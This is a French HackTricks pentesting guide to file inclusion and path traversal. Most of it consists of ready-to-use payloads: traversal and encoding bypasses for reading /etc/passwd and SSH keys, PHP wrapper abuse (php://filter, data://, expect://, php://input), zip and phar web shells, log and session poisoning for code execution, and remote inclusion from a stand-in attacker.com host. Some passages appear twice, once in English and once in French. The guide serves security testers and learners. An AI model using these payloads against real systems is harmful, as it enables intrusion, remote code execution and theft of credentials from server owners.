hacktricks/pentesting-web/file-inclusion/README.md

Inclusion de fichiers/Traversée de chemin

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez La famille PEASS, notre collection exclusive de NFT
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du piratage web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos piratages !

{% embed url="https://hackenproof.com/register" %}

Inclusion de fichiers

Inclusion de fichiers distants (RFI) : Le fichier est chargé à partir d'un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est désactivé par défaut (allow_url_include).
Inclusion de fichiers locaux (LFI) : Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Aveugle - Intéressant - Fichiers LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En mélangeant plusieurs listes LFI *nix et en ajoutant plus de chemins, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer / pour \
Essayez également d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (afin de vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

En fusionnant plusieurs listes, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer / pour \
Essayez également de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (afin de vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Consultez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=http://monserveur.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

séquences de traversée dépouillées de manière non récursive

When performing file inclusion attacks, it is common to use traversal sequences to access files outside of the intended directory. However, in some cases, the application may strip these traversal sequences in a non-recursive manner.

Lors de l'exécution d'attaques d'inclusion de fichiers, il est courant d'utiliser des séquences de traversée pour accéder à des fichiers en dehors du répertoire prévu. Cependant, dans certains cas, l'application peut supprimer ces séquences de traversée de manière non récursive.

For example, let's say the application replaces "../" with an empty string. If we provide the input "../../../../etc/passwd", the application will strip the "../" part, resulting in "etc/passwd". This can limit the effectiveness of traditional traversal sequences.

Par exemple, supposons que l'application remplace "../" par une chaîne vide. Si nous fournissons l'entrée "../../../../etc/passwd", l'application supprimera la partie "../", ce qui donnera "etc/passwd". Cela peut limiter l'efficacité des séquences de traversée traditionnelles.

To bypass this non-recursive stripping, we can use alternative traversal sequences that are not affected by the application's filtering. For instance, we can try using encoded characters or different representations of traversal sequences.

Pour contourner cette suppression non récursive, nous pouvons utiliser des séquences de traversée alternatives qui ne sont pas affectées par le filtrage de l'application. Par exemple, nous pouvons essayer d'utiliser des caractères encodés ou des représentations différentes des séquences de traversée.

By experimenting with different traversal sequences, we can potentially find a sequence that the application does not strip, allowing us to access files outside of the intended directory.

En expérimentant avec différentes séquences de traversée, nous pouvons potentiellement trouver une séquence que l'application ne supprime pas, ce qui nous permet d'accéder à des fichiers en dehors du répertoire prévu.

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard tels que l'encodage double URL (et d'autres):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

À partir d'un dossier existant

Il se peut que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identification des dossiers sur un serveur

Selon le code applicatif / les caractères autorisés, il est possible d'explorer de manière récursive le système de fichiers en découvrant les dossiers et pas seulement les fichiers. Pour ce faire :

• identifiez la "profondeur" de votre répertoire actuel en récupérant avec succès /etc/passwd (si vous êtes sur Linux) :

http://example.com/index.php?page=../../../etc/passwd # depth of 3

• Essayez de deviner le nom d'un dossier dans le répertoire actuel en ajoutant le nom du dossier (ici, private), puis en revenant à /etc/passwd:

http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd

• si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
• si vous obtenez une erreur / aucune sortie, le dossier private n'existe pas à cet emplacement
• si vous obtenez le contenu de /etc/passwd, vous avez confirmé qu'il y a effectivement un dossier private dans votre répertoire actuel
• les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être fuzzés pour les fichiers (en utilisant une méthode LFI classique) ou pour les sous-répertoires en utilisant la même technique de manière récursive.

Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire actuel à une profondeur de 3 dans le système de fichiers), vous souhaitez vérifier si /var/www/ contient un répertoire private, utilisez la charge utile suivante :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

La séquence de commandes suivante permet de générer des charges utiles en utilisant sed (1) comme entrée pour les outils de fuzzing d'URL tels que ffuf (2) :

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

Bien sûr, adaptez ces charges utiles à vos besoins en termes de profondeur / emplacement / liste de répertoires d'entrée.

Troncature de chemin

Contournez l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Toujours essayer de commencer le chemin avec un faux répertoire (a/).

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces de contournement du filtre

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd

RFI Basique

Remote File Inclusion (RFI) is a vulnerability that allows an attacker to include a remote file on a web server. This can lead to the execution of arbitrary code and compromise the security of the server.

La Remote File Inclusion (RFI) est une vulnérabilité qui permet à un attaquant d'inclure un fichier distant sur un serveur web. Cela peut entraîner l'exécution de code arbitraire et compromettre la sécurité du serveur.

Exploiting RFI

To exploit RFI, an attacker typically needs to find a vulnerable parameter in a web application that allows the inclusion of remote files. This can be achieved by injecting a URL that points to a malicious file hosted on a remote server.

Pour exploiter la RFI, un attaquant doit généralement trouver un paramètre vulnérable dans une application web qui permet l'inclusion de fichiers distants. Cela peut être réalisé en injectant une URL qui pointe vers un fichier malveillant hébergé sur un serveur distant.

For example, consider the following vulnerable PHP code:

Par exemple, considérez le code PHP vulnérable suivant :

<?php
$file = $_GET['file'];
include($file);
?>

In this code, the value of the file parameter is directly used in the include statement without proper validation. An attacker can exploit this by injecting a remote URL as the value of the file parameter.

Dans ce code, la valeur du paramètre file est directement utilisée dans l'instruction include sans validation appropriée. Un attaquant peut exploiter cela en injectant une URL distante en tant que valeur du paramètre file.

To exploit this vulnerability, an attacker can craft a URL like the following:

Pour exploiter cette vulnérabilité, un attaquant peut créer une URL comme celle-ci :

http://example.com/vulnerable.php?file=http://attacker.com/malicious.php

When the vulnerable PHP script is executed with this URL, it will include the remote file http://attacker.com/malicious.php, allowing the attacker to execute arbitrary code.

Lorsque le script PHP vulnérable est exécuté avec cette URL, il inclura le fichier distant http://attacker.com/malicious.php, permettant à l'attaquant d'exécuter du code arbitraire.

Prevention

To prevent RFI attacks, it is important to validate and sanitize all user-supplied input before using it in file inclusion operations.

Pour prévenir les attaques RFI, il est important de valider et de nettoyer toutes les entrées fournies par l'utilisateur avant de les utiliser dans des opérations d'inclusion de fichiers.

One way to mitigate this vulnerability is to maintain a whitelist of allowed files and only include files from this whitelist. Additionally, it is recommended to disable the ability to include remote files altogether, if not required by the application.

Une façon d'atténuer cette vulnérabilité est de maintenir une liste blanche des fichiers autorisés et d'inclure uniquement les fichiers de cette liste blanche. De plus, il est recommandé de désactiver la possibilité d'inclure des fichiers distants, si cela n'est pas nécessaire pour l'application.

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Élément racine Python

En Python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C'est le comportement prévu selon la documentation :

Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jointure continue à partir du composant de chemin absolu.

Java List Directories

Il semble que si vous avez une traversée de chemin dans Java et que vous demandez un répertoire au lieu d'un fichier, une liste du répertoire est renvoyée. Cela ne se produira pas dans d'autres langages (à ma connaissance).

Top 25 paramètres

Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (à partir de ce lien) :

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant des wrappers et des protocoles PHP

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :

• Filtres de chaîne :
• string.rot13
• string.toupper
• string.tolower
• string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
• Notez que ce filtre a disparu des versions modernes de PHP
• Filtres de conversion
• convert.base64-encode
• convert.base64-decode
• convert.quoted-printable-encode
• convert.quoted-printable-decode
• convert.iconv.* : Transforme en une autre encodage (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages pris en charge, exécutez la commande suivante dans la console : iconv -l

{% hint style="warning" %} En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou exécuter une fonction comme include avec du texte arbitraire. Pour plus d'informations, consultez LFI2RCE via php filters. {% endhint %}

• Filtres de compression
• zlib.deflate : Compresse le contenu (utile si vous devez exfiltrer beaucoup d'informations)
• zlib.inflate : Décompresse les données
• Filtres de chiffrement
• mcrypt.* : Obsolète
• mdecrypt.* : Obsolète
• Autres filtres
• En exécutant var_dump(stream_get_filters()); en PHP, vous pouvez trouver quelques filtres inattendus :
• consumed
• dechunk : inverse le codage chunked HTTP
• convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally

{% hint style="warning" %} La partie "php://filter" est insensible à la casse. {% endhint %}

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder respectivement aux descripteurs de fichiers 0, 1 et 2 (je ne suis pas sûr de l'utilité de cela dans une attaque)

zip:// et rar://

Téléchargez un fichier Zip ou Rar contenant une PHPShell à l'intérieur et y accédez.
Pour pouvoir exploiter le protocole rar, il doit être spécifiquement activé.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

La technique d'inclusion de fichiers est une vulnérabilité courante dans les applications Web qui permet à un attaquant d'inclure des fichiers distants dans le code source de l'application. Cela peut entraîner l'exécution de code malveillant, la divulgation d'informations sensibles ou d'autres attaques.

La vulnérabilité d'inclusion de fichiers peut être exploitée de différentes manières, notamment en utilisant des paramètres d'URL, des cookies, des en-têtes HTTP ou d'autres entrées utilisateur. L'attaquant peut manipuler ces entrées pour inclure des fichiers distants, tels que des fichiers système sensibles ou des scripts malveillants.

Pour détecter et exploiter cette vulnérabilité, un testeur de pénétration peut utiliser des techniques telles que l'inclusion de fichiers locaux, l'inclusion de fichiers distants, l'inclusion de fichiers null byte et l'inclusion de fichiers basée sur des paramètres d'URL.

Il est important de noter que l'inclusion de fichiers peut être une vulnérabilité critique, car elle peut permettre à un attaquant d'accéder à des informations sensibles, d'exécuter du code malveillant ou de compromettre complètement le système. Par conséquent, il est essentiel de mettre en œuvre des mesures de sécurité appropriées pour prévenir cette vulnérabilité, telles que la validation stricte des entrées utilisateur et l'utilisation de chemins de fichiers absolus plutôt que relatifs.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Note that this protocol is restricted by php configurations allow_url_open and allow_url_include

expect://

Expect has to be activated. You can execute code using this.

---

Traduction en français :

Fait amusant : vous pouvez déclencher une XSS et contourner l'auditeur Chrome avec : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant cela.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre charge utile dans les paramètres POST

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

Un fichier .phar peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme include pour charger le fichier.

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

Et vous pouvez compiler le phar en exécutant la ligne suivante :

php --define phar.readonly=0 create_path.php

Un fichier appelé test.phar sera généré que vous pouvez utiliser pour abuser de la LFI.

Si la LFI se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**. Vous pouvez essayer d'exploiter une désérialisation qui se produit lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez l'article suivant :

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Plus de protocoles

Consultez d'autres protocoles à inclure ici:

• php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité de cela dans une attaque d'inclusion de fichier)
• file:// — Accès au système de fichiers local
• http:// — Accès aux URL HTTP(s)
• ftp:// — Accès aux URL FTP(s)
• zlib:// — Flux de compression
• glob:// — Recherche de noms de fichiers correspondant à un motif (ne renvoie rien de lisible, donc pas vraiment utile ici)
• ssh2:// — Secure Shell 2
• ogg:// — Flux audio (pas utile pour lire des fichiers arbitraires)

LFI via l'instruction 'assert' de PHP

Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.

Une charge utile comme celle-ci :

' and die(show_source('/etc/passwd')) or '

Le pirate informatique réussira à exploiter le code PHP pour un paramètre "file" qui ressemble à ceci :

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

Il est également possible d'obtenir une exécution de code à distance (RCE) dans une déclaration "assert" vulnérable en utilisant la fonction system().

' and die(system("whoami")) or '

Assurez-vous d'encoder les charges utiles URL avant de les envoyer.

HackenProof est le lieu de tous les programmes de primes pour les bugs de cryptographie.

Obtenez une récompense sans délai
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner de l'argent grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

Traversée de chemin PHP aveugle

{% hint style="warning" %} Cette technique est pertinente dans les cas où vous contrôlez le chemin du fichier d'une fonction PHP qui va accéder à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à file()) mais le contenu n'est pas affiché. {% endhint %}

Dans cet incroyable article, il est expliqué comment une traversée de chemin aveugle peut être exploitée via un filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.

En résumé, la technique utilise le codage "UCS-4LE" pour rendre le contenu d'un fichier si volumineux que la fonction PHP d'ouverture du fichier déclenchera une erreur.

Ensuite, pour divulguer le premier caractère, le filtre dechunk est utilisé avec d'autres filtres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.

Fonctions qui pourraient être vulnérables : file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (seulement en lecture seule avec cela), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l'article mentionné !

LFI2RCE

RFI de base

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est vulnérable à LFI à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à /var/log/apache2/access.log ou /var/log/nginx/access.log, en définissant à l'intérieur de l'agent utilisateur ou d'un paramètre GET une coquille PHP comme <?php system($_GET['c']); ?> et inclure ce fichier.

{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour la coquille au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP générera une erreur et rien d'autre ne sera exécuté.

Assurez-vous également d'écrire correctement la charge utile ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance. {% endhint %}

Cela peut également être fait dans d'autres journaux, mais soyez prudent, le code à l'intérieur des journaux peut être encodé en URL et cela peut détruire la coquille. L'en-tête authorisation "basic" contient "utilisateur: mot de passe" en Base64 et il est décodé à l'intérieur des journaux. La coquille PHP peut être insérée à l'intérieur de cet en-tête.
Autres chemins de journal possibles :

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Liste de mots pour le fuzzing : https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Envoyez un courrier électronique à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l'inclure dans le courrier de l'utilisateur avec un chemin comme /var/mail/<NOM_UTILISATEUR> ou /var/spool/mail/<NOM_UTILISATEUR>

Via /proc/*/fd/*

1. Téléchargez de nombreux shells (par exemple : 100)
2. Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être obtenu par force brute) et $FD le descripteur de fichier (peut également être obtenu par force brute)

Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée dans le fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour maintenir la lisibilité du fichier, il est préférable d'injecter dans les métadonnées des images/doc/pdf.

Via l'envoi de fichier ZIP

Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez-y :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via les sessions PHP

Vérifiez si le site web utilise les sessions PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans des fichiers /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa

Via logs vsftpd

Les journaux de ce serveur FTP sont stockés dans /var/log/vsftpd.log. Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.

Via les filtres php (aucun fichier nécessaire)

Ce writeup explique que vous pouvez utiliser les filtres php pour générer un contenu arbitraire en sortie. Cela signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via une erreur de segmentation

Téléchargez un fichier qui sera stocké temporairement dans /tmp, puis dans la même requête, déclenchez une erreur de segmentation, et ensuite le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via le stockage temporaire des fichiers Nginx

Si vous avez trouvé une inclusion de fichier local et que Nginx est en cours d'exécution devant PHP, vous pourriez obtenir une RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une inclusion de fichier local, même si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez PHP_SESSION_UPLOAD_PROGRESS dans les données multipart POST, PHP activera la session pour vous. Vous pouvez exploiter cela pour obtenir une RCE :

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via les téléchargements de fichiers temporaires sous Windows

Si vous avez trouvé une inclusion de fichier local et que le serveur fonctionne sous Windows, vous pourriez obtenir une RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une inclusion de fichier local et qu'un fichier expose phpinfo() avec file_uploads = on, vous pouvez obtenir une RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + divulgation de chemin

Si vous avez trouvé une inclusion de fichier local et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure contient des marques PHP, vous pouvez essayer de contourner cette vérification avec cette condition de course :

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via une attente éternelle + force brute

Si vous pouvez exploiter la LFI pour télécharger des fichiers temporaires et faire suspension de l'exécution PHP du serveur, vous pouvez ensuite forcer la recherche de noms de fichiers pendant des heures pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Pour une erreur fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).

Je ne sais pas à quoi cela peut servir, mais cela pourrait être utile.
Même si vous provoquez une erreur fatale de PHP, les fichiers temporaires PHP téléchargés sont supprimés.

Références

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 à ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bogue vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
